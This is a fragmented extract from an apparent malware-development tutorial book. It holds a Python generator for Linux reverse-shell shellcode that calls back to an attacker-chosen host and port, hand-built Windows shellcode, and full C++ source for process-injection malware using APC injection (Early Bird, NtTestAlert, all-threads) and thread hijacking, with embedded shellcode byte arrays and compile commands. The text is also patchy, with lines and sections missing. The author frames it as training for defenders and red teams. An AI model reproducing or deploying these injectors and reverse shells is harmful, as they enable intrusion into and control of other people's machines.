RED = '\033[91m'
ENDC = '\033[0m'
h = socket.inet_aton(host).hex()
hl = [h[i:i+2] for i in range(0, len(h), 2)]
if "00" in hl:
print (YELLOW)
66
print ("host address will cause null bytes \
to be in shellcode :(")
print (ENDC)
h1, h2, h3, h4 = hl
p = socket.inet_aton(port).hex()[4:]
pl = [p[i:i+2] for i in range(0, len(p), 2)]
if "00" in pl:
print (YELLOW)
print ("port will cause null bytes \
to be in shellcode :(")
print (ENDC)
p1, p2 = pl
shellcode = "\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31"
shellcode += "\\xd2\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd"
shellcode += "\\x80\\x92\\xb0\\x66\\x68"
shellcode += shellcode_host
shellcode += "\\x66\\x68"
shellcode += shellcode_port
shellcode += "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10"
shellcode += "\\x51\\x52\\x89\\xe1\\x43\\xcd"
shellcode += "\\x80\\x6a\\x02\\x59\\x87\\xda\\xb0"
shellcode += "\\x3f\\xcd\\x80\\x49\\x79\\xf9"
shellcode += "\\xb0\\x0b\\x41\\x89\\xca\\x52\\x68"
shellcode += "\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69"
shellcode += "\\x6e\\x89\\xe3\\xcd\\x80"
if __name__ == "__main__":
parser = argparse.ArgumentParser()
67
parser.add_argument('-l','--lhost',
required = True, help = "local IP",
default = "127.1.1.1", type = str)
parser.add_argument('-p','--lport',
required = True, help = "local port",
default = "4444", type = str)
args = vars(parser.parse_args())
host, port = args['lhost'], args['lport']
my_super_shellcode(host, port)
Prepare listener, run script, copy shellcode to our test program, compile and
run:
python3 super_shellcode.py -l 10.9.1.6 -p 4444
gcc -static -fno-stack-protector -z execstack -m32 -o run run.c
68
10. windows shellcoding - part 1. Simple example
testing shellcode
When testing shellcode, it is nice to just plop it into a program and let it run.
We will use the same code as in the first post (run.c):
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "my shellcode here";
69
int main(void) {
WinExec("calc.exe", 0);
ExitProcess(0);
}
As you can see, the logic of this program is simple: launch the calculator
(calc.exe) and exit. Let’s make sure our code actually works. Compile:
i686-w64-mingw32-gcc -o exit.exe exit.c -mconsole -lkernel32
70
the location of the WinExec function, load the arguments onto the stack, and
call the register that has a pointer to the function. Likewise for the ExitProcess
function. It is important to know that most windows functions are available
from three main libraries: ntdll.dll, Kernel32.DLL and KernelBase.dll. If
you run our example in a debugger (x32dbg in my case), you can make sure of
this:
int main() {
unsigned long Kernel32Addr; // kernel32.dll address
unsigned long ExitProcessAddr; // ExitProcess address
unsigned long WinExecAddr; // WinExec address
Kernel32Addr = GetModuleHandle("kernel32.dll");
printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);
71
printf("WinExec address in memory is: 0x%08p\n", WinExecAddr);
getchar();
return 0;
}
This program will tell you the kernel address and the WinExec address in
kernel32.dll. Let’s compile it:
i686-w64-mingw32-gcc -O2 getaddr.c -o getaddr.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wall \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc >/dev/null 2>&1
Now we know the addresses of our functions. Note that our program found the
kernel32 address correctly.
assembly time
The WinExec() function within kernel32.dll can be used to launch any pro-
gram that the user running the process can access:
72
UINT WinExec(LPCSTR lpCmdLine, UINT uCmdShow);
input = sys.argv[1]
chunks = [input[i:i+4] for i in range(0, len(input), 4)]
for chunk in chunks[::-1]:
print (chunk[::-1].encode("utf-8").hex())
To put something in Little Endian format, just put the hex of the
bytes in as reverse
So, what about ExitProcess function?
void ExitProcess(UINT uExitCode);
It’s used to gracefully close the host process after the calc.exe process is
launched using the WinExec function:
73
; void ExitProcess([in] UINT uExitCode);
xor eax, eax ; zero out eax
push eax ; push NULL
mov eax, 0x76ed214f ; call ExitProcess
; function addr in kernel32.dll
jmp eax ; execute the ExitProcess function
section .data
section .bss
section .text
global _start ; must be declared for linker
_start:
xor ecx, ecx ; zero out ecx
push ecx ; string terminator 0x00
; for "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163
74
; addr in kernel32.dll
jmp eax ; execute the ExitProcess function
Compile:
nasm -f elf32 -o example1.o example1.asm
ld -m elf_i386 -o example1 example1.o
objdump -M intel -d example1
Then, let’s go to extract byte code via bash-hacking and objdump again:
objdump -M intel -d example1 | grep '[0-9a-f]:'|grep -v
'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|
sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/ˆ/"/'|
sed 's/$/"/g'
compiled as ELF file for linux 32-bit because we are only using nasm
to translate the opcodes for us
Then, replace the code at the top (run.c) with:
75
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61"
"\x6c\x63\x89\xe0\x41\x51\x50\xbb\xfd\xe5\xf0"
"\x76\xff\xd3\x31\xc0\x50\xb8\x4f\x21\xed\x76"
"\xff\xe0";
Compile:
i686-w64-mingw32-gcc run.c -o run.exe
And run:
.\run.exe
76
The calc.exe process runs even after the host process dies because
it is it’s own process.
So our shellcode is perfectly worked :)
This is how you create your own shellcode for windows, for example.
But, there is one caveat. This shellcode will only work on this machine. Because,
the addresses of all DLLs and their functions change on reboot and are different
on each system. In order for it to work on any windows 7 x86 sp1, ASM needs
to find the addresses of the functions by itself. I will do this in the next part.
WinExec
ExitProcess
The Shellcoder’s Handbook
my intro to x86 assembly
my nasm tutorial
linux shellcoding part 1
linux shellcoding part 2
Source code in Github
In the first part of my post about windows shellcoding we found the addresses
of kernel32 and functions using the following logic:
/*
getaddr.c - get addresses of functions
(ExitProcess, WinExec) in memory
*/
#include <windows.h>
#include <stdio.h>
int main() {
unsigned long Kernel32Addr; // kernel32.dll address
unsigned long ExitProcessAddr; // ExitProcess address
77
unsigned long WinExecAddr; // WinExec address
Kernel32Addr = GetModuleHandle("kernel32.dll");
printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);
getchar();
return 0;
}
The caveat is that the addresses of all DLLs and their functions change upon
reboot and differ in each system. For this reason, we cannot hard-code any
addresses in our ASM code:
78
TEB and PEB structures
Whenever we execute any exe file, the first thing that is created (at least to my
knowledge) in the OS are PEB:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;
and TEB:
typedef struct _TEB {
PVOID Reserved1[12];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;
PEB - process structure in windows, filled in by the loader at the stage of process
creation, which contains the information necessary for the functioning of the
process.
TEB is a structure that is used to store information about threads in the current
process, each thread has its own TEB.
79
Let’s open some program in the windbg debugger and run command:
dt _teb
As we can see, PEB has an offset of 0x030. Similarly, we can see the contents of
the PEB structure using command:
dt _peb
We now need to look at the member that is at an offset of 0x00c from the base
of the PEB structure, which is the PEB_LDR_DATA. PEB_LDR_DATA contains
information about the loaded modules for the process.
Then, we can also examine PEB_LDR_DATA structure via windbg:
dt _PEB_LDR_DATA
80
is LIST_ENTRY.
Before we continue let’s run the command:
!peb
This will show us the corresponding start addresses and end addresses of linked
lists:
Let’s try to view the modules loaded into the LDR_DATA_TABLE_ENTRY structure,
and we will also indicate the starting address of this structure at 0x5119f8
so that we can see the base addresses of the loaded modules. Remember that
0x5119f8 is the address of this structure, so the first entry will be 8 bytes less
than this address:
dt _LDR_DATA_TABLE_ENTRY 0x5119f8-8
81
As you can see BaseDllName is our exit.exe. This is exe I executed.
Also, you can see that the InMemoryOrderLinks address is now 0x511a88.
DllBase at offset 0x018 contains the base address BaseDllName. Now our next
loaded module should be 8 bytes away from 0x511a88, namely 0x5119f8-8:
dt _LDR_DATA_TABLE_ENTRY 0x5119f8-8
As you can see BaseDllName is ntdll.dll. It’s address is 0x77250000 and the
next module is 8 bytes after 0x511e58. So, then:
dt _LDR_DATA_TABLE_ENTRY 0x511e58-8
As you can see our third module is kernel32.dll and it’s address is 0x76fd0000,
offset is 0x018. To make sure that it is correct, we can run our getaddr.exe:
82
This module loading order will always be fixed (at least to my knowledge) for
Windows 10, 7. So when we write in ASM, we can go through the entire PEB
LDR structure and find the kernel32.dll address and load it into our shellcode.
As I wrote in the first part, The next module should be kernelbase.dll. Just
for experiment, to make sure that it is correct, we can run:
dt _LDR_DATA_TABLE_ENTRY 0x511f70-8
83
section .data
section .bss
section .text
global _start ; must be declared for linker
_start:
mov eax, [fs:ecx + 0x30] ; offset to the PEB struct
mov eax, [eax + 0xc] ; offset to LDR within PEB
mov eax, [eax + 0x14] ; offset to
; InMemoryOrderModuleList
mov eax, [eax] ; kernel.exe address loaded
; in eax (1st module)
mov eax, [eax] ; ntdll.dll address loaded
; (2nd module)
mov eax, [eax + 0x10] ; kernel32.dll address
; loaded (3rd module)
With this assembly code we can find the kernel32.dll address and store it in
EAX register, so compile it:
nasm -f win32 -o kernel.o kernel.asm
ld -m i386pe -o kernel.exe kernel.o
84
run:
85
12. windows shellcoding - part 3. PE file format
This section can be read not only as a continuation of the previous ones, but
also as a separate material. This one is overview of PE file format.
PE file
What is PE file format? It’s the native file format of Win32. Its specification is
derived somewhat from the Unix Coff (common object file format). The meaning
of “portable executable” is that the file format is universal across win32 platform:
the PE loader of every win32 platform recognizes and uses this file format even
when Windows is running on CPU platforms other than Intel. It doesn’t mean
your PE executables would be able to port to other CPU platforms without
change. Thus studying the PE file format gives you valuable insights into the
structure of Windows.
Basically PE file structure looks like this:
86
87
The PE File Format is essentially defined by the PE Header so you will want to
read about that first, you don’t need to understand every single part of it but
you should get an idea about it’s structure and be able to identify the parts that
are most important.
DOS header
DOS header store the information needed to load the PE file. Therefore, this
header is mandatory for loading a PE file.
DOS header structure:
typedef struct _IMAGE_DOS_HEADER {// DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
and it is 64 bytes in size. In this structure, the most important fields are e_magic
and e_lfanew. The first two bytes of the header are the magic bytes which
identify the file type, 4D 5A or “MZ” which are the initials of Mark Zbikowski
who worked on DOS at Microsoft. These magic bytes define it as a PE file:
e_lfanew - is at offset 0x3c of the DOS HEADER and contains the offset to the
PE header:
88
DOS stub
After the first 64 bytes of the file, a dos stub starts. This area in memory is
mostly filled with zeros:
PE header
This portion is small and simply contains a file signature which are the magic
bytes PE\0\0 or 50 45 00 00:
89
It’s structure:
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
90
Optional Header - it’s optional in context of COFF object files but not PE files.
It contains many important variables such as AddressOfEntryPoint, ImageBase,
Section Alignment, SizeOfImage, SizeOfHeaders and the DataDirectory.
This structure has 32-bit and 64-bit versions:
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
91
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY
DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
it’s data directory. Simply it is an array (16 in size), each element of which
contains a structure of 2 DWORD values.
Currently, PE files can contain the following data directories:
• Export Table
• Import Table
• Resource Table
• Exception Table
• Certificate Table
• Base Relocation Table
• Debug
• Architecture
• Global Ptr
• TLS Table
92
• Load Config Table
• Bound Import
• IAT (Import Address Table)
• Delay Import Descriptor
• CLR Runtime Header
• Reserved, must be zero
As I wrote earlier, I will consider in more detail only some of them.
Section Table
Contains an array of IMAGE_SECTION_HEADER structs which define the sections
of the PE file such as the .text and .data sections. IMAGE_SECTION_HEADER
structure is:
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
Sections
After the section table comes the actual sections:
93
Applications do not directly access physical memory, they only access virtual
memory. Sections are an area that is paged out into virtual memory and all
work is done directly with this data. The address in virtual memory, without
any offsets, is called the Virtual Address, or VA for short. In other words,
the Virtual Addresses (VAs) are the memory addresses that are referenced by
an application. Preferred download location for the application, set in the
ImageBase field. It is like the point at which an application area begins
in virtual memory. And the offsets RVA (Relative Virtual Address) are
measured relative to this point. We can calculate RVA with the help of the
following formula: RVA = VA - ImageBase. ImageBase is always known to us
and having received VA or RVA at our disposal, we can express one through the
other.
The size of each section is fixed in the section table, so the sections must be of a
certain size, and for this they are supplemented with NULL bytes (00).
An application in Windows NT typically has different predefined sections, such
as .text, .bss, .rdata, .data, .rsrc. Depending on the application, some of
these sections are used, but not all are used.
.rdata The read-only data on the file system, such as strings and constants
reside in a section called .rdata.
.edata The .edata section contains export data for an application or DLL.
When present, this section contains an export directory for getting to the export
information. IMAGE_EXPORT_DIRECTORY structure is:
typedef struct _IMAGE_EXPORT_DIRECTORY {
ULONG Characteristics;
ULONG TimeDateStamp;
94
USHORT MajorVersion;
USHORT MinorVersion;
ULONG Name;
ULONG Base;
ULONG NumberOfFunctions;
ULONG NumberOfNames;
PULONG *AddressOfFunctions;
PULONG *AddressOfNames;
PUSHORT *AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Exported symbols are generally found in DLLs, but DLLs can also import
symbols. The main purpose of the export table is to associate the names and /
or numbers of the exported functions with their RVA, that is, with the position
in the process memory card.
Conclusion
The PE file format is more complex than I wrote in this post, for example, an
interesting illustration about windows executable can be found on the Ange
Albertini’s github project corkami:
95
PE bear
MSDN PE format
corkami
An In-Depth Look into the Win32 Portable Executable File Format
An In-Depth Look into the Win32 Portable Executable File Format, Part 2
MSDN IMAGE_NT_HEADERS
MSDN IMAGE_FILE_HEADER
MSDN IMAGE_OPTIONAL_HEADER
MSDN IMAGE_DATA_DIRECTORY
In the previous sections I wrote about classic code injection, and classic DLL
injection.
Today in this section I will discuss about a “Early Bird” APC injection technique.
Today we’re going to look at QueueUserAPC which takes advantage of the
asynchronous procedure call to queue a specific thread.
Each thread has its own APC queue. An application queues an APC to a thread
by calling the QueueUserAPC function. The calling thread specifies the address
of an APC function in the call to QueueUserAPC. The queuing of an APC is a
request for the thread to call the APC function.
High level overview of this technique is:
Firstly, our malicious program creates a new legitimate process (in our case
notepad.exe):
96
Whenever we see a call to CreateProcess, two important parameters we want
to pay attention to are the first (executable to be invoked), and sixth (process
creation flags). The creation flag is CREATE_SUSPENDED.
Then, memory for payload is allocated in the newly created process’s memory
space:
97
process activity about to commence.
APC routine pointing to the shellcode is declared.
Then payload is written to the allocated memory:
98
So, our full source code is (evil.cpp):
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
99
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main() {
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, false,
CREATE_SUSPENDED, NULL, NULL, &si, &pi
);
WaitForSingleObject(pi.hProcess, 5000);
hProcess = pi.hProcess;
hThread = pi.hThread;
100
// inject into the suspended thread.
PTHREAD_START_ROUTINE apc_r = (PTHREAD_START_ROUTINE)my_payload_mem;
QueueUserAPC((PAPCFUNC)apc_r, hThread, NULL);
return 0;
}
As you can see for simplicity, we use 64-bit calc.exe as the payload. Without
delving into the generation of the payload, we will simply insert payload into
our code:
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
Let’s go to compile:
101
x86_64-w64-mingw32-gcc evil.cpp -o evil.exe -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc
If we check the newly started notepad.exe in the Process Hacker, we can confirm
that the main thread is indeed suspended:
102
APC MSDN
QueueUserAPC
VirtualAllocEx
WaitForSingleObject
WriteProcessMemory
ResumeThread
ZeroMemory
Source code in Github
In the future I will try to figure out more advanced code injection techniques.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
103
NtTestAlert
NtTestAlert is a system call that’s related to the alerts mechanism of Windows.
This system call can cause execution of any pending APCs the thread has.
Before a thread starts executing it’s Win32 start address it calls NtTestAlert
to execute any pending APCs.
example
Let’s take a look at our C++ source code of our malware:
/*
hack.cpp
APC code injection via undocumented NtTestAlert
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/20/malware-injection-4.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
104
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
return 0;
}
105
Then write our payload to newly allocated memory:
106
And If open our hack.exe malware in Ghidra:
107
Source Code in Github
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
Today I will discuss about simplest APC injection technique. I’m going to talk
about APC injection in remote threads. In the simplest way, inject APC into
all of the target process threads, as there is no function to find if a thread is
alertable or not and we can assume one of the threads is alertable and run our
APC job.
example
The flow is this technique is simple:
• Find the target process id
• Allocate space in the target process for our payload
• Write payload in the allocated space.
• Find target process threads
• Queue an APC to all of them to execute our payload
For the first step, we need to find the process id of our target process. For this I
used a function from my past section about find process:
108
The full source code of this function:
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
109
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
Then find target process threads. For this I wrote another function getTids:
110
which finds all threads by process PID. We enum all threads and if the thread
belongs to our target process we push it to our tids vector.
Then queue an APC to all threads to execute our payload:
As you can see we queue an APC to the thread using the QueueUserAPC function.
the first parameter should be a pointer to the function that we want to execute
which is a pointer to my payload and the second parameter is a handle to the
remote thread.
Let’s take a look at full C++ source code of our malware:
/*
hack.cpp
APC injection via Queue an APC into all the threads
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/11/22/malware-injection-5.html
111
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>
HANDLE hSnapshot;
112
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
113
CloseHandle(hSnapshot);
return !tids.empty();
}
pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);
if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -2;
}
if (getTids(pid, tids)) {
for (DWORD tid : tids) {
HANDLE ht = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (ht) {
QueueUserAPC((PAPCFUNC)rb, ht, NULL);
printf("payload injected via QueueUserAPC\n");
CloseHandle(ht);
}
}
114
}
CloseHandle(ph);
}
return 0;
}
As usually, for simplicity, we use 64-bit calc.exe as the payload and print
message for demonstration.
Let’s go to compile our code:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive
115
Then run our malware:
.\hack.exe mspaint.exe
116
But I noticed than on my Windows 7 x64 machine target process is crashed:
117
I have not yet figured out why this is happened.
The problem with this technique is that it’s unpredictable somehow, and in
many cases, it can run our payload multiple times. And as for the target process,
I think svchost or explorer.exe is good choice as their almost always has
alertable threads.
APC MSDN
QueueUserAPC
CreateToolhelp32Snapshot
Process32First
Process32Next
strcmp
Taking a Snapshot and Viewing Processes
Thread32First
Thread32Next
CloseHandle
VirtualAllocEx
WriteProcessMemory
Source code in Github
118
16. code injection via thread hijacking. Simple C++ mal-
ware.
example
Let’s go to look an example which demonstrates this technique:
/*
hack.cpp
code injection via thread hijacking
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/23/malware-injection-6.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
119
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
